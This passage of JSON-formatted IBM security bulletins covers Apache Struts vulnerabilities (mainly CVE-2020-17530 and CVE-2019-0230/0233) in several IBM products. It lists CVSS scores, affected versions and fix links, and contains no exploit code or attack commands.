"2022-06-09T07:30:44", "type": "ibm", "title": "Security Bulletin: CVE-2020-17530 may affect Apache struts2-core used by Content Collector for Email, Content Collector for File Systems, Content Collector for Microsoft SharePoint and Content Collector for IBM Connections", "bulletinFamily": "software", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-17530"], "modified": "2022-06-09T07:30:44", "id": "D7F5135F5917DEC79A3EC5F40696F566955841FB3632FC8C822946EC528790B3", "href": "https://www.ibm.com/support/pages/node/6593761", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-12-06T19:00:44", "description": "## Summary\n\nVulnerability in Apache Struts affects IBM Tivoli Application Dependency Discovery Manager (CVE-2020-17530).\n\n## Vulnerability Details\n\n** CVEID: **[CVE-2020-17530](<https://vulners.com/cve/CVE-2020-17530>) \n** DESCRIPTION: **Apache Struts could allow a remote attacker to execute arbitrary code on the system, caused by a forced double OGNL evaluation on raw user input in tag attributes. By sending specially crafted data, an attacker could exploit this vulnerability to execute arbitrary code on the system. \nCVSS Base score: 8.1 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/192743](<https://exchange.xforce.ibmcloud.com/vulnerabilities/192743>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H)\n\n## Affected Products and Versions\n\n**Affected Product(s)**| **Version(s)** \n---|--- \nIBM Tivoli Application Dependency Discovery Manager| 7.3.0.7 - 7.3.0.8 \n \n## Remediation/Fixes\n\n**Fix**| **VRMF**| **APAR**| **How to acquire fix** \n---|---|---|--- \nefix_struts2.5.26_FP8201126.zip| 7.3.0.7 - 7.3.0.8| None| [Download eFix](<https://www.secure.ecurep.ibm.com/download/?id=YSQ1wdrl2p5zUUGFQ8PqEQXZuGPl9v7OMZIWrZqmkfw> \"Download eFix\" ) \n \n**Note:** Please refer the \"How to install\" section of the efix_readme.txt while applying the above efix.\n\n## Workarounds and Mitigations\n\nThe eFix can be downloaded and applied directly on the applicable versions mentioned above.\n\n## ", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2022-04-13T12:25:40", "type": "ibm", "title": "Security Bulletin: Vulnerability in Apache Struts affects IBM Tivoli Application Dependency Discovery Manager (CVE-2020-17530)", "bulletinFamily": "software", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-17530"], "modified": "2022-04-13T12:25:40", "id": "47A9526430C9C366FECCD6852CFBC71095166B7357B960378A8A4EBF55B1FBCC", "href": "https://www.ibm.com/support/pages/node/6406954", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-02-27T21:45:05", "description": "## Summary\n\nVulnerability exists in the Apache Struts framework version used by IBM Spectrum Symphony V7.2.1, and V7.2.0.2. Interim fixes that provide instructions on upgrading the Apache Struts framework to version 2.5.26 (which resolves the vulnerability) are available on IBM Fix Central. \n\n## Vulnerability Details\n\n** CVEID: **[CVE-2020-17530](<https://vulners.com/cve/CVE-2020-17530>) \n** DESCRIPTION: **Apache Struts could allow a remote attacker to execute arbitrary code on the system, caused by a forced double OGNL evaluation on raw user input in tag attributes. By sending specially crafted data, an attacker could exploit this vulnerability to execute arbitrary code on the system. \nCVSS Base score: 8.1 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/192743](<https://exchange.xforce.ibmcloud.com/vulnerabilities/192743>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H)\n\n## Affected Products and Versions\n\n**Affected Product(s)**| **Version(s)** \n---|--- \nIBM Spectrum Symphony| 7.2.1 \nIBM Spectrum Symphony| 7.2.0.2 \n \n## Remediation/Fixes\n\n**Products**| **VRMF**| **APAR**| **Remediation/First Fix** \n---|---|---|--- \nIBM Spectrum Symphony| 7.2.1| P104109| [sym-7.2.1-build600149](<http://www.ibm.com/support/fixcentral/swg/selectFixes?product=ibm/Other+software/IBM+Spectrum+Symphony&release=All&platform=All&function=fixId&fixids=sym-7.2.1-build600149&includeSupersedes=0> \"sym-7.2.1-build600149\" ) \nIBM Spectrum Symphony| 7.2.0.2| P104092| [sym-7.2.0.2-build600148](<http://www.ibm.com/support/fixcentral/swg/selectFixes?product=ibm/Other+software/IBM+Spectrum+Symphony&release=All&platform=All&function=fixId&fixids=sym-7.2.0.2-build600148&includeSupersedes=0> \"sym-7.2.0.2-build600148\" ) \n \n \n\n\n \n\n\n## Workarounds and Mitigations\n\nNone\n\n## ", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-03-19T09:21:51", "type": "ibm", "title": "Security Bulletin: Vulnerability in Apache Struts framework affects IBM Spectrum Symphony", "bulletinFamily": "software", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-17530"], "modified": "2021-03-19T09:21:51", "id": "2728A54A733C1334AD5FF98B90433841FD176869AA41A20F157E87B17EAD4D49", "href": "https://www.ibm.com/support/pages/node/6434139", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-06-06T14:35:02", "description": "## Summary\n\nIBM Security Guardium has fixed these vulnerabilities.\n\n## Vulnerability Details\n\n** CVEID: **[CVE-2020-17530](<https://vulners.com/cve/CVE-2020-17530>) \n** DESCRIPTION: **Apache Struts could allow a remote attacker to execute arbitrary code on the system, caused by a forced double OGNL evaluation on raw user input in tag attributes. By sending specially crafted data, an attacker could exploit this vulnerability to execute arbitrary code on the system. \nCVSS Base score: 8.1 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/192743](<https://exchange.xforce.ibmcloud.com/vulnerabilities/192743>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H) \n \n** CVEID: **[CVE-2020-1971](<https://vulners.com/cve/CVE-2020-1971>) \n** DESCRIPTION: **OpenSSL is vulnerable to a denial of service, caused by a NULL pointer dereference. If the GENERAL_NAME_cmp function contain an EDIPARTYNAME, an attacker could exploit this vulnerability to cause the application to crash. \nCVSS Base score: 7.5 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/192748](<https://exchange.xforce.ibmcloud.com/vulnerabilities/192748>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H)\n\n## Affected Products and Versions\n\nAffected Product(s)| Version(s) \n---|--- \nIBM Security Guardium| 10.5 \n \nIBM Security Guardium| 10.6 \nIBM Security Guardium| 11.0 \nIBM Security Guardium| 11.1 \n \nIBM Security Guardium| 11.2 \n \nIBM Security Guardium| 11.3 \n \n \n \n\n\n## Remediation/Fixes\n\nProduct| Versions| Fix \n---|---|--- \nIBM Security Guardium| 10.5 \n| [http://www.ibm.com/support/fixcentral/swg/quickorder?parent=IBM%20Security&product=ibm/Information+Management/InfoSphere+Guardium&release=10.0&platform=All&function=fixId&fixids=SqlGuard_10.0p540_Bundle_Jun-08-2021&includeSupersedes=0&source=fc](<http://www.ibm.com/support/fixcentral/swg/quickorder?parent=IBM%20Security&product=ibm/Information+Management/InfoSphere+Guardium&release=10.0&platform=All&function=fixId&fixids=SqlGuard_10.0p540_Bundle_Jun-08-2021&includeSupersedes=0&source=fc>) \nIBM Security Guardium| 10.6 \n| [http://www.ibm.com/support/fixcentral/swg/quickorder?parent=IBM%20Security&product=ibm/Information+Management/InfoSphere+Guardium&release=10.0&platform=All&function=fixId&fixids=SqlGuard_10.0p665_Bundle_Apr-07-2021&includeSupersedes=0&source=fc](<http://www.ibm.com/support/fixcentral/swg/quickorder?parent=IBM%20Security&product=ibm/Information+Management/InfoSphere+Guardium&release=10.0&platform=All&function=fixId&fixids=SqlGuard_10.0p665_Bundle_Apr-07-2021&includeSupersedes=0&source=fc> \"http://www.ibm.com/support/fixcentral/swg/quickorder?parent=IBM%20Security&product=ibm/Information+Management/InfoSphere+Guardium&release=10.0&platform=All&function=fixId&fixids=SqlGuard_10.0p665_Bundle_Apr-07-2021&includeSupersedes=0&source=fc\" ) \nIBM Security Guardium| 11.0 \n| [http://www.ibm.com/support/fixcentral/swg/quickorder?parent=IBM%20Security&product=ibm/Information+Management/InfoSphere+Guardium&release=11.0&platform=All&function=fixId&fixids=SqlGuard_11.0p35_Bundle_Mar-30-2021&includeSupersedes=0&source=fc](<http://www.ibm.com/support/fixcentral/swg/quickorder?parent=IBM%20Security&product=ibm/Information+Management/InfoSphere+Guardium&release=11.0&platform=All&function=fixId&fixids=SqlGuard_11.0p35_Bundle_Mar-30-2021&includeSupersedes=0&source=fc> \"http://www.ibm.com/support/fixcentral/swg/quickorder?parent=IBM%20Security&product=ibm/Information+Management/InfoSphere+Guardium&release=11.0&platform=All&function=fixId&fixids=SqlGuard_11.0p35_Bundle_Mar-30-2021&includeSupersedes=0&source=fc\" ) \nIBM Security Guardium| 11.1 \n| [http://www.ibm.com/support/fixcentral/swg/quickorder?parent=IBM%20Security&product=ibm/Information+Management/InfoSphere+Guardium&release=11.0&platform=All&function=fixId&fixids=SqlGuard_11.0p140_Bundle_May-24-2021&includeSupersedes=0&source=fc](<http://www.ibm.com/support/fixcentral/swg/quickorder?parent=IBM%20Security&product=ibm/Information+Management/InfoSphere+Guardium&release=11.0&platform=All&function=fixId&fixids=SqlGuard_11.0p140_Bundle_May-24-2021&includeSupersedes=0&source=fc>) \nIBM Security Guardium| 11.2 \n| [http://www.ibm.com/support/fixcentral/swg/quickorder?parent=IBM%20Security&product=ibm/Information+Management/InfoSphere+Guardium&release=11.0&platform=All&function=fixId&fixids=SqlGuard_11.0p240_Bundle_May-10-2021&includeSupersedes=0&source=fc](<http://www.ibm.com/support/fixcentral/swg/quickorder?parent=IBM%20Security&product=ibm/Information+Management/InfoSphere+Guardium&release=11.0&platform=All&function=fixId&fixids=SqlGuard_11.0p240_Bundle_May-10-2021&includeSupersedes=0&source=fc>) \nIBM Security Guardium| 11.3| [http://www.ibm.com/support/fixcentral/swg/quickorder?parent=IBM%20Security&product=ibm/Information+Management/InfoSphere+Guardium&release=11.0&platform=All&function=fixId&fixids=SqlGuard_11.0p315_Bundle_May-21-2021&includeSupersedes=0&source=fc](<http://www.ibm.com/support/fixcentral/swg/quickorder?parent=IBM%20Security&product=ibm/Information+Management/InfoSphere+Guardium&release=11.0&platform=All&function=fixId&fixids=SqlGuard_11.0p315_Bundle_May-21-2021&includeSupersedes=0&source=fc>) \n \n## Workarounds and Mitigations\n\nNone\n\n## ", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-06-22T18:02:27", "type": "ibm", "title": "Security Bulletin: IBM Security Guardium is affected by multiple vulnerabilities (CVE-2020-17530, CVE-2020-1971)", "bulletinFamily": "software", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-17530", "CVE-2020-1971"], "modified": "2021-06-22T18:02:27", "id": "E3347BCB529A35601F044748C20F62BDDA272E18F4F99AF1DC1EC2079BD36858", "href": "https://www.ibm.com/support/pages/node/6443719", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-02-27T21:45:00", "description": "## Summary\n\nFix is available for multiple vulnerabilities affecting Tivoli Netcool/OMNIbus WebGUI (CVE-2021-20336, CVE-2020-17530).\n\n## Vulnerability Details\n\n** CVEID: **[CVE-2021-20336](<https://vulners.com/cve/CVE-2021-20336>) \n** DESCRIPTION: **IBM Tivoli Netcool/OMNIbus_GUI is vulnerable to stored cross-site scripting. This vulnerability allows users to embed arbitrary JavaScript code in the Web UI thus altering the intended functionality potentially leading to credentials disclosure within a trusted session. \nCVSS Base score: 6.4 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/194350](<https://exchange.xforce.ibmcloud.com/vulnerabilities/194350>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N) \n \n** CVEID: **[CVE-2020-17530](<https://vulners.com/cve/CVE-2020-17530>) \n** DESCRIPTION: **Apache Struts could allow a remote attacker to execute arbitrary code on the system, caused by a forced double OGNL evaluation on raw user input in tag attributes. By sending specially crafted data, an attacker could exploit this vulnerability to execute arbitrary code on the system. \nCVSS Base score: 8.1 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/192743](<https://exchange.xforce.ibmcloud.com/vulnerabilities/192743>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H)\n\n## Affected Products and Versions\n\nAffected Product(s)| Version(s) \n---|--- \nIBM Tivoli Netcool/OMNIbus_GUI| 8.1.x \n \n## Remediation/Fixes\n\n**Product**| **CVE**| **APAR**| **Remediation/First Fix** \n---|---|---|--- \nTivoli Netcool/OMNIbus WebGUI \n| CVE-2021-20336| IJ30110| Apply [WebGUI 8.1.0 Fix Pack 22](<https://www.ibm.com/support/pages/node/6420367> \"WebGUI 8.1.0 Fix Pack 22\" ) \n \nCVE-2020-17530| IJ30067 \n \nFor unsupported versions IBM recommends upgrading to a fixed, supported version of the product.\n\n## Workarounds and Mitigations\n\nNone\n\n \n\n\n## ", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-03-22T13:06:36", "type": "ibm", "title": "Security Bulletin: Multiple vulnerabilities is affecting Tivoli Netcool/OMNIbus WebGUI (CVE-2021-20336, CVE-2020-17530)", "bulletinFamily": "software", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-17530", "CVE-2021-20336"], "modified": "2021-03-22T13:06:36", "id": "3FA2879FBADE8540F6B4D5091DA5772A30EB11207B58722F47A672ABFF7C289C", "href": "https://www.ibm.com/support/pages/node/6427953", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-02-27T21:44:04", "description": "## Summary\n\nVulnerabilities in Apache Struts affect IBM Tivoli Application Dependency Discovery Manager (CVE-2019-0233, CVE-2019-0230)\n\n## Vulnerability Details\n\n**CVEID: **[CVE-2019-0233](<https://vulners.com/cve/CVE-2019-0233>) \n**DESCRIPTION: **Apache Struts is vulnerable to a denial of service, caused by an access permission override when performing a file upload. By sending a specially crafted request, an attacker could exploit this vulnerability to cause subsequent upload actions to fail. \nCVSS Base score: 5.9 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/186699](<https://exchange.xforce.ibmcloud.com/vulnerabilities/186699>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H) \n \n**CVEID: **[CVE-2019-0230](<https://vulners.com/cve/CVE-2019-0230>) \n**DESCRIPTION: **Apache Struts could allow a remote attacker to execute arbitrary code on the system, caused by a forced double OGNL evaluation on raw user input in tag attributes. By sending specially crafted data, an attacker could exploit this vulnerability to execute arbitrary code on the system. \nCVSS Base score: 7.3 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/186702](<https://exchange.xforce.ibmcloud.com/vulnerabilities/186702>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L)\n\n## Affected Products and Versions\n\nAffected Product(s) | Version(s) \n---|--- \nIBM Tivoli Application Dependency Discovery Manager | 7.3.0.7 \n \n## Remediation/Fixes\n\n**Fix** | **VRMF** | **APAR** | **How to acquire fix** \n---|---|---|--- \nefix_struts2.5.22_FP7200218.zip | 7.3.0.7 | None | [Download eFix](<https://www.secure.ecurep.ibm.com/download/?id=UpR3LS6M2oBcbLFNfcXFzqCsw2d008xhOwZDwfQ15h0> \"Download eFix\" ) \n \nPlease get familiar with eFix readme in etc/<efix_name>_readme.txt\n\n## Workarounds and Mitigations\n\nThe above eFix is applicable can be downloaded and applied directly.\n\n## ", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-04-13T13:33:14", "type": "ibm", "title": "Security Bulletin: Vulnerabilities in Apache Struts affect IBM Tivoli Application Dependency Discovery Manager.", "bulletinFamily": "software", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-0230", "CVE-2019-0233"], "modified": "2021-04-13T13:33:14", "id": "35DB525D4E07A09A6F2976ED4B93F380507E2F51F096B5749BE6E096C57DD8BD", "href": "https://www.ibm.com/support/pages/node/6347964", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-02-27T21:49:13", "description": "## Summary\n\nApache Struts is vulnerable to a denial of service, caused by an access permission override when performing a file upload. By sending a specially crafted request, an attacker could exploit this vulnerability to cause subsequent upload actions to fail.\n\n## Vulnerability Details\n\n** CVEID: **[CVE-2019-0233](<https://vulners.com/cve/CVE-2019-0233>) \n** DESCRIPTION: **Apache Struts is vulnerable to a denial of service, caused by an access permission override when performing a file upload. By sending a specially crafted request, an attacker could exploit this vulnerability to cause subsequent upload actions to fail. \nCVSS Base score: 5.9 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/186699](<https://exchange.xforce.ibmcloud.com/vulnerabilities/186699>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H) \n \n** CVEID: **[CVE-2019-0230](<https://vulners.com/cve/CVE-2019-0230>) \n** DESCRIPTION: **Apache Struts could allow a remote attacker to execute arbitrary code on the system, caused by a forced double OGNL evaluation on raw user input in tag attributes. By sending specially crafted data, an attacker could exploit this vulnerability to execute arbitrary code on the system. \nCVSS Base score: 7.3 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/186702](<https://exchange.xforce.ibmcloud.com/vulnerabilities/186702>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L)\n\n## Affected Products and Versions\n\nAffected Product(s)| Version(s) \n---|--- \nContent Collector for Email| 4.0.1.10 \nContent Collector for Microsoft SharePoint| 4.0.1.10 \nContent Collector for File Systems| 4.0.1.10 \nContent Collector for IBM Connections| 4.0.1.10 \n \n \n\n\n## Remediation/Fixes\n\n**Product** | **VRM**| **Remediation** \n---|---|--- \nContent Collector for Email| 4.0.1.10| Use Content Collector for Email 4.0.1.10 [Interim Fix IF014](<http://www.ibm.com/support/fixcentral/quickorder?product=ibm%2FInformation+Management%2FContent+Collector&fixids=4.0.1.10-IBM-ICC-IF014&source=SAR> \"Interim Fix IF014\" ) \nContent Collector for File Systems| 4.0.1.10| Use Content Collector for File Systems 4.0.1.10 [Interim Fix IF014](<http://www.ibm.com/support/fixcentral/quickorder?product=ibm%2FInformation+Management%2FContent+Collector&fixids=4.0.1.10-IBM-ICC-IF014&source=SAR> \"Interim Fix IF014\" ) \nContent Collector for Microsoft SharePoint| 4.0.1.10| Use Content Collector for Microsoft SharePoint 4.0.1.10 [Interim Fix IF014](<http://www.ibm.com/support/fixcentral/quickorder?product=ibm%2FInformation+Management%2FContent+Collector&fixids=4.0.1.10-IBM-ICC-IF014&source=SAR> \"Interim Fix IF014\" ) \nContent Collector for IBM Connections| 4.0.1.10| Use Content Collector for IBM Connections 4.0.1.10 [Interim Fix IF014](<http://www.ibm.com/support/fixcentral/quickorder?product=ibm%2FInformation+Management%2FContent+Collector&fixids=4.0.1.10-IBM-ICC-IF014&source=SAR> \"Interim Fix IF014\" ) \n \n## Workarounds and Mitigations\n\nNone\n\n## ", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2020-11-04T09:04:41", "type": "ibm", "title": "Security Bulletin: Apache Struts (Publicly disclosed vulnerability) affects Content Collector for Email, Content Collector for File Systems, Content Collector for Microsoft SharePoint and Content Collector for IBM Connections", "bulletinFamily": "software", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-0230", "CVE-2019-0233"], "modified": "2020-11-04T09:04:41", "id": "3477DD0939B4B8CC59240F8DCC09305A2F7C13CA45285602F1755CDF6F593B52", "href": "https://www.ibm.com/support/pages/node/6359443", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-02-27T21:50:43", "description": "## Summary\n\nFix is available for vulnerabilities in Apache Struts affecting Tivoli Netcool/OMNIbus WebGUI (CVE-2019-0233, CVE-2019-0230).\n\n## Vulnerability Details\n\n** CVEID: **[CVE-2019-0233](<https://vulners.com/cve/CVE-2019-0233>) \n** DESCRIPTION: **Apache Struts is vulnerable to a denial of service, caused by an access permission override when performing a file upload. By sending a specially crafted request, an attacker could exploit this vulnerability to cause subsequent upload actions to fail. \nCVSS Base score: 5.9 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/186699](<https://exchange.xforce.ibmcloud.com/vulnerabilities/186699>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H) \n \n** CVEID: **[CVE-2019-0230](<https://vulners.com/cve/CVE-2019-0230>) \n** DESCRIPTION: **Apache Struts could allow a remote attacker to execute arbitrary code on the system, caused by a forced double OGNL evaluation on raw user input in tag attributes. By sending specially crafted data, an attacker could exploit this vulnerability to execute arbitrary code on the system. \nCVSS Base score: 7.3 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/186702](<https://exchange.xforce.ibmcloud.com/vulnerabilities/186702>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L)\n\n## Affected Products and Versions\n\nAffected Product(s)| Version(s) \n---|--- \nIBM Tivoli Netcool/OMNIbus_GUI| 8.1.x \n \n\n\n## Remediation/Fixes\n\nProduct| VRMF| APAR | Remediation/First Fix \n---|---|---|--- \nTivoli Netcool/OMNIbus WebGUI| 8.1.0| IJ27034| Apply Fix Pack 20 \n([Fix Pack for WebGUI 8.1.0 Fix Pack 20](<https://www.ibm.com/support/pages/node/6236916> \"Fix Pack for WebGUI 8.1.0 Fix Pack 20\" )) \n \n## Workarounds and Mitigations\n\nNone\n\n## ", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2020-09-23T04:29:58", "type": "ibm", "title": "Security Bulletin: Multiple vulnerabilities in Apache Struts affect Tivoli Netcool/OMNIbus WebGUI (CVE-2019-0233, CVE-2019-0230)", "bulletinFamily": "software", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-0230", "CVE-2019-0233"], "modified": "2020-09-23T04:29:58", "id": "9235ED396A90BB944C2B22072DE6B91B22155C3982DDD732067344CA700C0ADE", "href": "https://www.ibm.com/support/pages/node/6336355", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-02-27T21:49:24", 